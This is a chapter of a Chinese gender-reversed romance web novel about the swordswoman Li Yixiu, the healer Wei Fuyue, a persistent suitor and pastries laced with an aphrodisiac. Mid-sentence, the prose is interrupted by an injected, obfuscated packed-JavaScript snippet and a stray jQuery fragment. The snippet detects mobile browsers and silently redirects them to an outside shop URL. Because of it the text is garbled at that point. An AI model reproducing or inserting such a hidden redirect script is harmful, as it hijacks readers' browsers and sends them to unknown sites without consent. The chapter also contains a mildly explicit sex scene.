文/云渡星
晋江文学城独家
2026.7.15
当卫扶月手提医药箱从最里头的卧阁里出来,随意一瞥时,就撞见了暧昧的一幕。
黄昏日下,一女一男站在下一层的船阑旁,拉拉扯扯。小郎宽大袖袍下的手紧紧握着女郎的手腕,眸中含泪,迫切地与女郎说些什么。
卫扶月默不作声地走过去。
这两人中,有一人他是认识的。
那位被拉着的女郎姓李,名颐休,是他随青阳观观主云游采药时捡到的。此人当时晕倒在路边,面容苍白,满身伤痕,除了脖颈处挂着的一块玉佩和手里攥的长剑,全身上下凑不出一个子儿。
这一看就不是什么善茬,反倒像是在刀尖上舔血,背后跟着八百个敌人的赏金杀手。
这种人本不应该救的。说不准救了之后会招惹什么仇家前来寻仇。
但卫扶月道医兼修,素来心软,见她委实可怜,便主动为其医治,又请求观主将她收留。
自此,卫扶月成了李颐休的救命恩人,而李颐休投桃报李,便留在了青阳观,上午上山砍柴,下午洒扫庭院,又替香客引路,如此身兼多职。不到三个月,她就从观内的边缘人员逐渐混了个脸熟。
虽然在观内勉强算脸熟,但来青阳观的男香客分外对她青睐。
而这一切都赖她这张脸。
她长得实在是太好了。
目秀而明亮,鼻悬玉准,齿列贝编,身量颀长,又兼肩宽腰细,玉立如松,周身透着一股力量,却又带着一种独特的文秀之气。
卫扶月经常就能够看见有小郎偷偷摸摸地凑到她的屋子附近,想尽一切法子靠近她,塞给她手帕与香囊,隐约还能听见几句“李姐姐不要在青阳观扫地了,我愿意养着你,把家里的钱都给你花”这等言语。
而如今正跟李颐休纠缠的小郎就是此前男香客们中的一员。
“自上船起,你已经缠了我好几日了。”
李颐休将他的手指一根根扒开,“何必一颗心都放在我身上,你不如看看其她娘子?”
“其她娘子都没有姐姐这等英姿飒爽,自在船上见到姐姐的那一刻起,便知晓我们两人之间的缘分没有尽。”
手被扯开,小郎便想扯李颐休的衣袍,无奈娘子身穿窄袍箭袖,没得给他扯,只得悻悻收回手,紧提着双手中的食盒。
李颐休面上不显,默不作声地看着眼前这位小郎,心里头翻来覆去想了几遍,仍然无法忆起此人姓甚名谁。
这小郎肤色稍黑,面容寡淡,长得勉强算清秀,虽身形瘦削伶仃,但单凭长相委实不是她的菜,看来忘掉他的名字实属应该。
“从前在青阳观,我就心仪姐姐,时常塞给姐姐许多香囊。”
“只是母亲希望能够将我许给一位世族大家做夫郎,这才坐船前往建康。可不曾想,居然能在此处与姐姐重逢。”
讲到此处,小郎声调微微升高,“这难道不是正说明你我二人之间的缘分未尽吗?”
“所以你是想?”
闻此言,小郎咬唇,沉默半晌,方鼓起勇气道,“我与姐姐两心相悦,不如我们私奔吧!”
“我愿意出钱养着姐姐。天涯海角,姐姐去哪儿,我就去哪儿。”
向李颐休提出私奔的人当中,眼前这位小郎不是第一个,自然也不会是最后一个。
自十六岁开荤至今,与她李颐休相好过的情人当中,有尚在闺中的青涩小郎,亦有独守空房多年依旧风韵犹存的鳏夫,如此数不胜数。
午夜梦回,能令她记起姓名与面容的,不过两人罢了。
其中一位,当年也曾同她提过私奔。
不论是当初,亦或是现在,李颐休的回答仍然是,“可我并不想与你私奔。”
此言犹如一道晴天霹雳,唰地劈在小郎头顶。身形晃了晃,摇摇欲坠,却又兀自强撑着,眼中渐渐浮起点点泪光。“姐姐何必如此绝情,说不准相处几日,姐姐还能发现我的好。”
小郎深吸一口气,一把将手中的食盒塞到李颐休怀中,“这是我特意给姐姐做的点心。”
临走前还回头,“我晚上还会来找姐姐的。”他的目光在那食盒上徘徊几回,“姐姐可一定要吃啊!”
李颐休提着食盒转身就走,打算将里头的点心拿去喂江里的鱼。当她拿出一块洞庭饐,将其掰开正欲扔时,一只修长且指骨突出的手按在她的手腕上,听得他道,“小郎的心思怎可肆意践踏?”
卫扶月夺下洞庭饐,一把将其塞进嘴里。囫囵嚼了两下,两颊鼓起,圆溜的杏眼瞪着她,咽下之后才道,“你若是不喜欢他,为何又要一直钓着他,你这是何意?”
“实乃冤枉。”
李颐休拍拍手中的糕粉:“我已经连着拒绝他三天了,无奈小郎心志坚韧。我若日后去他妻主家门前转一圈,恐怕那家里就要多一个婚内爬墙的女婿了。”
“你!”
这一番风/流/骚/话将卫扶月这等青葱稚嫩小郎臊得脸上飞起一片薄红。
卫扶月搜肠刮肚许久,愣是找不出词来骂她,只道:“你这个坏东西,一点都不重视小郎的心意。”
他抢走李颐休的食盒,道:“既然你不吃,那就给我。”
将食盒一层层打开,最下面一层摆的是一碗梅花酥酪,中间一层是乌米青精团与洞庭饐,最上面的是水晶荠菜船饺,全都是卫扶月爱吃的。
李颐休微微笑:“你若是喜欢,那就都给你了。毕竟你是我的救命恩人,我既投桃报李护送你到建康,又借花献佛,将糕点转赠于你,岂不正好。”
见卫扶月双手塞得满当,李颐休便接过医药箱,一路送他回寝舱。待将医药箱放好,卫扶月正捧起那碗梅花酥酪吃了起来。
李颐休无声掩上木扉,回了自己的寝舱。
她倚靠在窗槛,望着绿波荡漾的江面,又望向远处的山,静默良久。此时离黄昏还有些时辰,江风徐徐吹过,天上在此刻落下了细雨,连横的山脉尽数朦胧。
李颐休翻出了一本小说,这是她路过书肆时随意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757605|209544||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
购买的。
她倒在木榻上,翻动着书。
书的封面上写着《玉娘传》。
如今李颐休靠这本小说打发了船上的前两日,也一路看着书中二人从初次相遇,到数次你来我往,再到雨中互诉衷肠。
“玉娘,我们私奔吧!”
看到这句,李颐休忍不住低笑一声。
只因为当年她的旧情人陈琰也曾向她提过私奔二字。
那是在永和四年,她时年十七,陈琰与她同岁。两人已相识约莫一年。
那一日,也如今日这般细雨绵绵。
出身名门的世家公子陈琰,一改往日温润翩翩的模样,与她藏身于书院禁地藏书阁一隅,大胆而炽热地拥吻。
陈琰背靠着墙,抿了抿水光泽润的薄唇,垂眸看着李颐休扯松他的腰带,探进他里衣深处,在他腰间流连作乱。
衣衫簌簌落下,腰间那枚陈氏玉佩被随手搁倒在地。一切发生得都是如此顺其自然。
藏书阁里有一方窄窄的小床榻,本是书院主人为方便陈琰看书休憩特意安置的,却抵不过少年人心中滚烫的爱恋,成了李颐休和陈琰数次偷尝禁果的地方。
两人吻着,咬着,拥着,身躯紧密相贴,床榻摇着晃着。
陈琰扣着床榻边沿,指腹按在繁复的花纹上,这才没被李颐休弄得翻下榻去。李颐休下颔处一颗汗珠,在晃动中滴落,落在陈琰上下滚动的喉结上。
情动之处,陈琰忍不住道,“颐休,我们私奔吧。”
于是,这场不合时宜的情便也戛然而止了。
李颐休直接翻到小说最后一页,却也没看到结局,原来这只是小说的上册,下册尚未刊出。
小说中的两位主角会怎样呢?大抵也会像她和陈琰一样无疾而终罢。毕竟金尊玉贵养出来的贵公子,又怎能与区区僮客在一起呢?她如此思忖。
将书倒扣在脸上,李颐休沉入梦乡中。
——咚咚咚咚咚。
门扉外突地传来一连串毫无章法的敲门声。
李颐休一看,门外站着的是卫扶月。
他看起来颇为狼狈。
脸颊上留着两抹艳红的云团,发丝紊乱不堪,又黏腻地贴在脖颈上,唇瓣水润又红,胸膛上下起伏,呼吸凌乱急促,正红着眼眶地看着她。
“这是怎么了?”李颐休面容一沉,“是有人欺负你了?那人在哪,我现在就把她丢进江里喂鱼。”
闻言,卫扶月瘪了瘪嘴,眼底蓄满了泪,水光潋滟的。他双手将李颐休推开,挤进舱内,委屈道:“是你欺负的我!”
李颐休:“……敢问我在舱内睡觉是惹到你哪里了?”
卫扶月神情恨恨,“那小郎在递给你的食盒里下了药!”
李颐休神情一凛,“是中毒了吗?我这就去找他。”
卫扶月一把将李颐休拉住,深吸几口气,面色难看又委屈:“那几道点心里都掺了春/药。”
他将门扉拉上,背靠门板:“这药性猛烈,我对它毫无办法。”